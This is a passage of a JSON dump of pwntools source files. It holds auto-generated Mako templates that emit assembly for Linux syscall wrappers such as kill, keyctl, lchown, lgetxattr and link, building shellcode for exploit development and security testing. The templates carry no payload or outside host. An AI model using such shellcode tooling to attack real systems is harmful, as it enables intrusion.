${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/keyctl.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>keyctl(cmd, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall keyctl.\n\nSee 'man 2 keyctl' for more information.\n\nArguments:\n    cmd(int): cmd\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"cmd=0, vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['cmd', 'vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [cmd, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_keyctl']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_keyctl'])\n%>\n    /* keyctl(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/kill.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>kill(pid, sig) -> str\n\nInvokes the syscall kill.\n\nSee 'man 2 kill' for more information.\n\nArguments:\n    pid(pid_t): pid\n    sig(int): sig\nReturns:\n    int\n</%docstring>\n<%page args=\"pid=0, sig=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid', 'sig']\n    argument_values = [pid, sig]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_kill']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_kill'])\n%>\n    /* kill(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/landlock_add_rule.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>landlock_add_rule(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall landlock_add_rule.\n\nSee 'man 2 landlock_add_rule' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_landlock_add_rule']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_landlock_add_rule'])\n%>\n    /* landlock_add_rule(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/landlock_create_ruleset.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>landlock_create_ruleset(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall landlock_create_ruleset.\n\nSee 'man 2 landlock_create_ruleset' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_landlock_create_ruleset']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_landlock_create_ruleset'])\n%>\n    /* landlock_create_ruleset(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/landlock_restrict_self.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>landlock_restrict_self(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall landlock_restrict_self.\n\nSee 'man 2 landlock_restrict_self' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_landlock_restrict_self']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_landlock_restrict_self'])\n%>\n    /* landlock_restrict_self(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/lchown.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>lchown(file, owner, group) -> str\n\nInvokes the syscall lchown.\n\nSee 'man 2 lchown' for more information.\n\nArguments:\n    file(char*): file\n    owner(uid_t): owner\n    group(gid_t): group\nReturns:\n    int\n</%docstring>\n<%page args=\"file=0, owner=0, group=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['file', 'owner', 'group']\n    argument_values = [file, owner, group]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_lchown']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_lchown'])\n%>\n    /* lchown(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/lchown32.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>lchown32(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall lchown32.\n\nSee 'man 2 lchown32' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_lchown32']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_lchown32'])\n%>\n    /* lchown32(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/lgetxattr.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>lgetxattr(path, name, value, size) -> str\n\nInvokes the syscall lgetxattr.\n\nSee 'man 2 lgetxattr' for more information.\n\nArguments:\n    path(char*): path\n    name(char*): name\n    value(void*): value\n    size(size_t): size\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"path=0, name=0, value=0, size=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path', 'name', 'value']\n    can_pushstr_array = []\n\n    argument_names = ['path', 'name', 'value', 'size']\n    argument_values = [path, name, value, size]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_lgetxattr']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_lgetxattr'])\n%>\n    /* lgetxattr(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/link.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>link(from_, to) -> str\n\nInvokes the syscall link.\n\nSee 'man 2 link' for more information.\n\nArguments:\n    from_(char*): from\n    to(char*): to\nReturns:\n    int\n</%docstring>\n<%page args=\"from_=0, to=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['from', 'to']\n    can_pushstr_array = []\n\n    argument_names = ['from', 'to']\n    argument_values = [from_, to]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_link']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_link'])\n%>\n    /* link(${', 